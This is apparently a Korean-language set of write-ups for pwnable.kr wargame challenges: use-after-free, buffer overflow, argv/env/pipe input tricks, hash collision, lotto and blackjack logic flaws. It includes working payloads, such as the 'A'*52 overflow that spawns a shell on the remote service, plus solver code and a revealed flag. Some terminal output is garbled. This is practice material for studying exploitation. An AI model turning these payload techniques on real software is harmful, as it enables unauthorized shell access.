Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!


ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)





Mommy! what is PATH environment in Linux?


ssh cmd1@pwnable.kr -p2222 (pw:guest)






Mommy, I wanna play a game!

(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)


Running at : nc pwnable.kr 9007









import socket                                                                 
import sys                                                                    
import re                                                                     
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                      
server_address = ('127.0.0.1', 9007)                                          
sock.connect(server_address)                                                  
sock.recv(2048)                                                               
                                                                              
for i in range(100):                                                          
        arr = re.findall("\d+", sock.recv(100))                               
        count = int(arr[-1])                                                  
        number = int(arr[-2])                                                 
        low = 0                                                               
        high = number                                                         
        while_count = 0                                                       
                                                                              
        while(low <= high):                                                   
                while_count += 1                                              
                mid = (low+high)/2                                            
                send_data = " ".join([str(i) for i in range(low, mid+1)])+"\n"
                sock.sendall(send_data)                                       
                data = sock.recv(100)                                         
                res = int(data[:-1]) % 10                                     
                if int(data[:-1]) == 9: break;                                
                if res == 9:                                                  
                        high = mid - 1                                        
                elif res == 0:                                                
                        low = mid + 1                                         
                                                                              
        for i in range(count - while_count + 1):                              
                if res == 0 and i == 0:                                       
                        send_data = str(int(send_data)+1) + "\n"              
                sock.sendall(send_data)                                       
                data = sock.recv(100)                                         
                print data                                                    
data = sock.recv(100)                                                         
print data





Mommy, what is Use After Free bug?


ssh uaf@pwnable.kr -p2222 (pw:guest)


#include <fcntl.h>                                                   
#include <iostream>                                                  
#include <cstring>                                                   
#include <cstdlib>                                                   
#include <unistd.h>                                                  
using namespace std;                                                 
                                                                     
class Human{                                                         
private:                                                             
        virtual void give_shell(){                                   
                system("/bin/sh");                                   
        }                                                            
protected:                                                           
        int age;                                                     
        string name;                                                 
public:                                                              
        virtual void introduce(){                                    
                cout << "My name is " << name << endl;               
                cout << "I am " << age << " years old" << endl;      
        }                                                            
};                                                                   
                                                                     
class Man: public Human{                                             
public:                                                              
        Man(string name, int age){                                   
                this->name = name;                                   
                this->age = age;                                     
        }                                                            
        virtual void introduce(){                                    
                Human::introduce();                                  
                cout << "I am a nice guy!" << endl;                  
        }                                                            
};                                                                   
                                                                     
class Woman: public Human{                                           
public:                                                              
        Woman(string name, int age){                                 
                this->name = name;                                   
                this->age = age;                                     
        }                                                            
        virtual void introduce(){                                    
                Human::introduce();                                  
                cout << "I am a cute girl!" << endl;                 
        }                                                            
};                                                                   
                                                                     
int main(int argc, char* argv[]){                                    
        Human* m = new Man("Jack", 25);                              
        Human* w = new Woman("Jill", 21);                            
                                                                     
        size_t len;                                                  
        char* data;                                                  
        unsigned int op;                                             
        while(1){                                                    
                cout << "1. use\n2. after\n3. free\n";               
                cin >> op;                                           
                                                                     
                switch(op){                                          
                        case 1:                                      
                                m->introduce();                      
                                w->introduce();                      
                                break;                               
                        case 2:                                      
                                len = atoi(argv[1]);                 
                                data = new char[len];                
                                read(open(argv[2], O_RDONLY), data, len); 
                                cout << "your data is allocated" << endl; 
                                break;                                    
                        case 3:                                           
                                delete m;                                 
                                delete w;                                 
                                break;                                    
                        default:                                          
                                break;                                    
                }                                                         
        }                                                                 
                                                                          
        return 0;                                                         
}



UAF(Use After Free) 취약점은 malloc의 Caching 기능의 Deferred Colescing 때문에 발생한다.

http://g.oswego.edu/dl/html/malloc.html를 보면 


Deferred Coalescing
Rather than coalescing freed chunks, leave them at their current sizes in hopes that another request for the same size will come along soon. This saves a coalesce, a later split, and the time it would take to find a non-exactly-matching chunk to split.


병합 지연(Deferred Coalescing)

오히려 해제된 청크를 병합시키기 보단, 같은 크기의 청크를 재할당하기 위한 다른 요청을 대비해 현재의 크기에 해제된 청크을 놔둡니다.

이것은 병합과 그 후에 분할 그리고 분할하기에 일치하지 않는 청크를 찾기 위한 시간을 절약할 수 있습니다.


위와 같은 caching 기능 때문에 free 후 realloc(재할당)을 하고 해당 heap을 사용했을때 문제가 발생하게 된다.



main을 살펴보다 보면 위와 같은 분기가 있다. 분기 아래에서는 case 1일때 m->introduce()와 w->introduce()를 수행하는 부분이다.

이 부분을 자세히 살펴보기 위해 main+265 부분에 breakpoint를 걸고 rbp-0x38의 결과를 확인해본다.



rbp-0x38을 확인했을 때 0x0127bc50이 들어있었고 이 주소로 찾아가보니 0x00401570이 들어있었다.

그리고 다음에 실행될 [add rax, 0x8]에서 0x8 만큼을 더해 rax에 넣는다.

결론적으로 rax에는 0x00401578이 들어가게 된다. 이 주소가 introduce() 이며 최종적으로 실행된다.


따라서 free를 통해서 m과 w의 동적할당을 해제해주고, 재할당을 이용해 give_Shell의 주소를 동적할당하여 사용함으로써 shell을 획득할 수 있다.


위의 사진에 ebp를 보면 0x401550이 give_shell을 가리키고 있으므로 해당 주소를 이용하도록 하겠다.

위에서 0x8만큼을 더해 rax에 넣고 실행하므로 0x401550 - 0x8을 한 0x401548의 주소를 사용하여 exploit을 진행한다.




Mom? how can I pass my input to a computer program?


ssh input@pwnable.kr -p2222 (pw:guest)



#include <stdio.h>                                                            
#include <stdlib.h>                                                           
#include <string.h>                                                           
#include <sys/socket.h>                                                       
#include <arpa/inet.h>                                                        
                                                                              
int main(int argc, char* argv[], char* envp[]){                               
        printf("Welcome to pwnable.kr\n");                                    
        printf("Let's see if you know how to give input to program\n");       
        printf("Just give me correct inputs then you will get the flag :)\n");
                                                                              
        // argv                                                               
        if(argc != 100) return 0;                                             
        if(strcmp(argv['A'],"\x00")) return 0;                                
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;                        
        printf("Stage 1 clear!\n");                                           
                                                                              
        // stdio                                                              
        char buf[4];                                                          
        read(0, buf, 4);                                                      
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;                      
        read(2, buf, 4);                                                      
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;                      
        printf("Stage 2 clear!\n");                                           
                                                                              
        // env                                                                
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;  
        printf("Stage 3 clear!\n");                                           
                                                                              
        // file                                                               
        FILE* fp = fopen("\x0a", "r");                                        
        if(!fp) return 0;                                                     
        if( fread(buf, 4, 1, fp)!=1 ) return 0;                               
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;                    
        fclose(fp);                                                           
        printf("Stage 4 clear!\n");                                           
                                                                              
        // network                                                            
        int sd, cd;                                                           
        struct sockaddr_in saddr, caddr;                                      
        sd = socket(AF_INET, SOCK_STREAM, 0);                                 
        if(sd == -1){                                                         
                printf("socket error, tell admin\n");                         
                return 0;                                                     
        }                                                                     
        saddr.sin_family = AF_INET;                                           
        saddr.sin_addr.s_addr = INADDR_ANY;                                   
        saddr.sin_port = htons( atoi(argv['C']) );                            
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){            
                printf("bind error, use another port\n");                     
                return 1;                                                     
        }                                                                     
        listen(sd, 1);                                                        
        int c = sizeof(struct sockaddr_in);                                   
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);           
        if(cd < 0){                                                           
                printf("accept error, tell admin\n");                         
                return 0;                                                     
        }                                                                     
        if( recv(cd, buf, 4, 0) != 4 ) return 0;                              
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;                      
        printf("Stage 5 clear!\n");
        // here's your flag     
        system("/bin/cat flag");
        return 0;               
}


--------------------------------------------------------------------------------------------------------------


#include <stdio.h>                                                         
#include <stdlib.h>                                                        
                                                                           
int main(){                                                                
        //stage1                                                           
                                                                           
        char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};   
        argv['A'] = "\x00";                                                
        argv['B'] = "\x20\x0a\x0d";                                        
        argv['C'] = "33333";                                               
                                                                           
        // stage3                                                          
        char* envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"};             
                                                                           
        // stage4                                                          
        FILE* fp = fopen("\x0a", "wb");                                    
        fwrite("\x00\x00\x00\x00", 4, 1 ,fp);                              
        fclose(fp);                                                        
                                                                           
        // stage2                                                          
        int pipe1[2], pipe2[2];                                            
        if(pipe(pipe1) < 0 || pipe(pipe2) < 0) {                           
                printf("pipe error!\n");                                   
                exit(-1);                                                  
        }                                                                  
        if(fork() == 0) {                                                  
                dup2(pipe1[0], 0);                                         
                close(pipe1[1]);                                           
                                                                           
                dup2(pipe2[0], 2);                                         
                close(pipe2[1]);                                           
                execve("/home/input/input", argv, envp);                   
        }else{                                                             
                write(pipe1[1], "\x00\x0a\x00\xff", 4);                    
                write(pipe2[1], "\x00\x0a\x02\xff", 4);                    
                sleep(30);                                                 
        }                                                                  
}


python -c "print '\xde\xad\xbe\xef'" | nc localhost 33333 




Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000


소스를 보자.


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

이번문제는 매우 간단하다.

버퍼의 사이즈에서 4바이트씩 더해가며, cafebabe를 가장 뒤에 입력해주면 쉽게 풀린다.



[root@zairo pwnable]# (python -c "print 'A'*32+'\xbe\xba\xfe\xca'";cat) | ./bof
overflow me :
Nah..
*** stack smashing detected ***: ./bof terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x4d)[0xb76d8dad]
/lib/libc.so.6(+0xfcd5a)[0xb76d8d5a]
./bof(+0x688)[0xb779b688]
./bof(main+0x15)[0xb779b69f]
/lib/libc.so.6(__libc_start_main+0xe6)[0xb75f2d36]
./bof(+0x561)[0xb779b561]
======= Memory map: ========
b75b7000-b75d4000 r-xp 00000000 08:05 22960492                           /lib/libgcc_s-4.4.7-20120601.so.1
b75d4000-b75d5000 rw-p 0001d000 08:05 22960492                           /lib/libgcc_s-4.4.7-20120601.so.1
b75db000-b75dc000 rw-p 00000000 00:00 0
b75dc000-b776c000 r-xp 00000000 08:05 22960334                           /lib/libc-2.12.so
b776c000-b776d000 ---p 00190000 08:05 22960334                           /lib/libc-2.12.so
b776d000-b776f000 r--p 00190000 08:05 22960334                           /lib/libc-2.12.so
b776f000-b7770000 rw-p 00192000 08:05 22960334                           /lib/libc-2.12.so
b7770000-b7773000 rw-p 00000000 00:00 0
b7776000-b777a000 rw-p 00000000 00:00 0
b777a000-b777b000 r-xp 00000000 00:00 0                                  [vdso]
b777b000-b7799000 r-xp 00000000 08:05 22938035                           /lib/ld-2.12.so
b7799000-b779a000 r--p 0001d000 08:05 22938035                           /lib/ld-2.12.so
b779a000-b779b000 rw-p 0001e000 08:05 22938035                           /lib/ld-2.12.so
b779b000-b779c000 r-xp 00000000 08:05 23995308                           /root/pwnable/bof
b779c000-b779d000 r--p 00000000 08:05 23995308                           /root/pwnable/bof
b779d000-b779e000 rw-p 00001000 08:05 23995308                           /root/pwnable/bof
b8a2e000-b8a4f000 rw-p 00000000 00:00 0                                  [heap]
bf9ca000-bf9df000 rw-p 00000000 00:00 0                                  [stack]

ÁßÁöµÊ
[root@zairo pwnable]# (python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | ./bof
overflow me :
ls
bof  bof.c
exit
*** stack smashing detected ***: ./bof terminated

¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù
[root@zairo pwnable]#


[root@zairo pwnable]# nc pwnable.kr 9000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¾ºþÊ

ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
^C
[root@zairo pwnable]#



Daddy told me about cool MD5 hash collision today.

I wanna do something like that too!


ssh col@pwnable.kr -p2222 (pw:guest)


소스를 살펴보도록 하자.

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

소스를 보면 사용자로부터 20바이트 입력을 받아 4바이트씩 불러들인다음 res에 중첩하여 더한 후 해당 값과 0x21DD09EC와 같으면 flag를 보여준다.


그렇다면 반대로 0x21DD09EC를 5로 나눠 입력해주면 된다.

0x21DD09EC를 5로 나눈 값은 6C5CEC8 이고 나머지는 4이다.

그렇다면, 6C5CEC8를 4번 6C5CEC8+4를 마지막에 입력해주면 20바이트로 맞게된다.

"06C5CEC8 06C5CEC8 06C5CEC8 06C5CEC8 06C5CECC" 이지만, CPU는 리틀엔디안이라 뒤의 바이트가 앞에 먼저 오기 때문에 순서를 바꿔줘야 한다.

"C8CEC506 C8CEC506 C8CEC506 C8CEC506 CCCEC506


col@ubuntu:~$ ./col $(python -c 'print "\xC8\xCE\xC5\x06\xC8\xCE\xC5\x06\xC8\xCE\xC5\x06\xC8\xCE\xC5\x06\xCC\xCE\xC5\x06"')

daddy! I just managed to create a hash collision :)

col@ubuntu:~$ 



Mommy! I made a lotto program for my homework.

do you want to play?



ssh lotto@pwnable.kr -p2222 (pw:guest)



이번 문제는 필자가 보기에는 보안상 취약점을 찾아 우회하는 기술적인 문제가 아니라 단순 확률 문제 같다.

일단 아래의 주소로 접속해보면, lotto 파일과 lotto.c 파일이 있다.


소스를 보도록 하자.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf("Lotto Start!\n");
        //sleep(1);

        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                system("/bin/cat flag");
        }
        else{
                printf("bad luck...\n");
        }

}

void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");

                scanf("%d", &menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}


소스를 자세히 보면 6바이트를 받아 for문으로 랜덤의 생성값과 비교하여 카운트를 증가시키는 부분이 있다.


        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

이 부분을 자세히 보면, 만약 사용자가 입력한 값이 \x01\x01\x01\x01\x01\x01이라고 할 때,

랜덤으로 생성한 것중 하나가 \x01 라면, match의 값은 6이 된다. 

한마디로 1~45의 6개의 랜덤 숫자중 하나만 맞추면 문제가 풀린다. 

6개를 다 맞춰야하는 극악의 확률에서 한 숫자만 맞추는 거의 2퍼센트에 육박하는 확률이 된다.


그냥 단순히 여러번 시도하도록 하자. 생각보다 빨리 풀린다.


Submit your 6 lotto bytes : ^A^A^A^A^A^A 1

Lotto Start!

bad luck...

- Select Menu -

1. Play Lotto

2. Help

3. Exit

Submit your 6 lotto bytes : ^A^A^A^A^A^A 1

Lotto Start!

bad luck...

- Select Menu -

1. Play Lotto

2. Help

3. Exit

Submit your 6 lotto bytes : ^A^A^A^A^A^A 1

Lotto Start!

sorry mom... I FORGOT to check duplicate numbers... :(

- Select Menu -

1. Play Lotto

2. Help

3. Exit



Hey! check out this C implementation of blackjack game!

I found it online

* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html


I like to give my flags to millionares.

how much money you got?



Running at : nc pwnable.kr 9009


이번 문제는 블랙잭 프로그램의 취약점을 찾는 문제이다.

위의 URL로 들어가면 블랙잭의 소스가 있는데, 해당 소스에서 취약점을 찾아 백만장자가 되면 비밀키를 준다.

소스의 전체내용은 페이지 가장 아래에 있다.


소스를 살펴보면 betting 함수가 배팅할 금액을 정해 반환하는 역할을 하고 있는데, 이 과정에 취약점이 있다.


int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

만약 배팅금액을 소지금 보다 더 많이 걸었을 경우, 한번 필터링을 하지만 두번째 또한 배팅금액을 소지금 보다 많이 걸게 되면, 그냥 반환해버리게 된다. 

따라서 소지금보다 배팅금액을 많이 걸고 게임에서 한번만 이기면 쉽게 백만장자가 될 수 있다.

이와 같은 취약점이 발생하지 않기 위해서는 소스를 아래와 같이 수정하여야 한다.

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 while (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
 }
 return bet;
} // End Function


이렇게 어이없는 프로그램이 나오지 않게 주의를 기울여야 한다.

Key : YaY_I_AM_A_MILLIONARE_LOL


===================================블랙잭 게임 소스===================================

// Programmer: Vladislav Shulman
// Final Project
// Blackjack
 
// Feel free to use any and all parts of this program and claim it as your own work
 
//FINAL DRAFT
 
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h>                //Used for srand((unsigned) time(NULL)) command
#include <process.h>             //Used for system("cls") command
 
#define spade 06                 //Used to print spade symbol
#define club 05                  //Used to print club symbol
#define diamond 04               //Used to print diamond symbol
#define heart 03                 //Used to print heart symbol
#define RESULTS "Blackjack.txt"  //File name is Blackjack
 
//Global Variables
int k;
int l;
int d;
int won;
int loss;
int cash = 500;
int bet;
int random_card;
int player_total=0;
int dealer_total;
 
//Function Prototypes
int clubcard();      //Displays Club Card Image
int diamondcard();   //Displays Diamond Card Image
int heartcard();     //Displays Heart Card Image
int spadecard();     //Displays Spade Card Image
int randcard();      //Generates random card
int betting();       //Asks user amount to bet
void asktitle();     //Asks user to continue
void rules();        //Prints "Rules of Vlad's Blackjack" menu
void play();         //Plays game
void dealer();       //Function to play for dealer AI
void stay();         //Function for when user selects 'Stay'
void cash_test();    //Test for if user has cash remaining in purse
void askover();      //Asks if user wants to continue playing
void fileresults();  //Prints results into Blackjack.txt file in program directory
 
//Main Function
int main(void)
{
    int choice1;
    printf("\n");
    printf("\n");
    printf("\n");
    printf("\n              222                111                            ");
    printf("\n            222 222            11111                              ");
    printf("\n           222   222          11 111                            ");
    printf("\n                222              111                               ");
    printf("\n               222               111                           ");  
    printf("\n");
    printf("\n%c%c%c%c%c     %c%c            %c%c         %c%c%c%c%c    %c    %c                ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club); 
    printf("\n%c    %c    %c%c           %c  %c       %c     %c   %c   %c              ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);           
    printf("\n%c    %c    %c%c          %c    %c     %c          %c  %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                       
    printf("\n%c%c%c%c%c     %c%c          %c %c%c %c     %c          %c %c              ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);     
    printf("\n%c    %c    %c%c         %c %c%c%c%c %c    %c          %c%c %c             ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);                      
    printf("\n%c     %c   %c%c         %c      %c    %c          %c   %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                                        
    printf("\n%c     %c   %c%c        %c        %c    %c     %c   %c    %c             ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);                                                           
    printf("\n%c%c%c%c%c%c    %c%c%c%c%c%c%c   %c        %c     %c%c%c%c%c    %c     %c            ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);                                                                                    
    printf("\n");    
    printf("\n                        21                                   ");
     
    printf("\n     %c%c%c%c%c%c%c%c      %c%c         %c%c%c%c%c    %c    %c                ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                    
    printf("\n        %c%c        %c  %c       %c     %c   %c   %c              ", diamond, diamond, heart, heart, club, club, spade, spade);                                     
    printf("\n        %c%c       %c    %c     %c          %c  %c               ", diamond, diamond, heart, heart, club, spade, spade);                                          
    printf("\n        %c%c       %c %c%c %c     %c          %c %c              ", diamond, diamond, heart, heart, heart, heart, club, spade, spade);                                    
    printf("\n        %c%c      %c %c%c%c%c %c    %c          %c%c %c             ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);                                               
    printf("\n        %c%c      %c      %c    %c          %c   %c               ", diamond, diamond, heart, heart, club, spade, spade);                                                                              
    printf("\n     %c  %c%c     %c        %c    %c     %c   %c    %c             ", diamond, diamond, diamond, heart, heart, club, spade, spade);                                                                                                              
    printf("\n      %c%c%c      %c        %c     %c%c%c%c%c    %c     %c            ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                                                                                                                                       
    printf("\n"); 
    printf("\n         222                     111                         ");
    printf("\n        222                      111                         ");
    printf("\n       222                       111                         ");
    printf("\n      222222222222222      111111111111111                       ");
    printf("\n      2222222222222222    11111111111111111                         ");
    printf("\n");
    printf("\n");
     
    asktitle();
     
    printf("\n");
    printf("\n");
    system("pause");
    return(0);
} //end program
 
void asktitle() // Function for asking player if they want to continue
{
    char choice1;
    int choice2;
     
     printf("\n                 Are You Ready?");
     printf("\n                ----------------");
     printf("\n                      (Y/N)\n                        ");
     scanf("\n%c",&choice1);
 
    while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {                                                                          
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }
 
 
    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
    {
            system("cls");
            printf("\nEnter 1 to Begin the Greatest Game Ever Played.");
            printf("\nEnter 2 to See a Complete Listing of Rules.");
            printf("\nEnter 3 to Exit Game. (Not Recommended)");
            printf("\nChoice: ");
            scanf("%d", &choice2); // Prompts user for choice
            if((choice2<1) || (choice2>3)) // If invalid choice entered
            {
                printf("\nIncorrect Choice. Please enter 1, 2 or 3\n");
                scanf("%d", &choice2);
            }
            switch(choice2) // Switch case for different choices
            {  
                case 1: // Case to begin game
                   system("cls");
                    
                   play();
                                       
                   break;
                    
                case 2: // Case to see rules
                   system("cls");
                   rules();
                   break;
                    
                case 3: // Case to exit game
                   printf("\nYour day could have been perfect.");
                   printf("\nHave an almost perfect day!\n\n");
                   system("pause");
                   exit(0);
                   break;
                    
                default:
                   printf("\nInvalid Input");
            } // End switch case
    } // End if loop
    
             
 
    else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
    {
        printf("\nYour day could have been perfect.");
        printf("\nHave an almost perfect day!\n\n");
        system("pause");
        exit(0);
    }
     
    return;
} // End function
 
void rules() //Prints "Rules of Vlad's Blackjack" list
{
     char choice1;
     int choice2;
      
     printf("\n           RULES of VLAD's BLACKJACK");
     printf("\n          ---------------------------");
     printf("\nI.");
     printf("\n     Thou shalt not question the odds of this game.");
     printf("\n      %c This program generates cards at random.", spade);
     printf("\n      %c If you keep losing, you are very unlucky!\n", diamond);
      
     printf("\nII.");
     printf("\n     Each card has a value.");
     printf("\n      %c Number cards 1 to 10 hold a value of their number.", spade);
     printf("\n      %c J, Q, and K cards hold a value of 10.", diamond);
     printf("\n      %c Ace cards hold a value of 11", club);
     printf("\n     The goal of this game is to reach a card value total of 21.\n");
      
     printf("\nIII.");
     printf("\n     After the dealing of the first two cards, YOU must decide whether to HIT or STAY.");
     printf("\n      %c Staying will keep you safe, hitting will add a card.", spade);
     printf("\n     Because you are competing against the dealer, you must beat his hand.");
     printf("\n     BUT BEWARE!.");
     printf("\n      %c If your total goes over 21, you will LOSE!.", diamond);
     printf("\n     But the world is not over, because you can always play again.\n");
     printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade);
     printf("\nWould you like to go the previous screen? (I will not take NO for an answer)");
     printf("\n                  (Y/N)\n                    ");
     scanf("\n%c",&choice1);
      
     while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {                                                                          
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }
 
 
    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
    {
            system("cls");
            asktitle();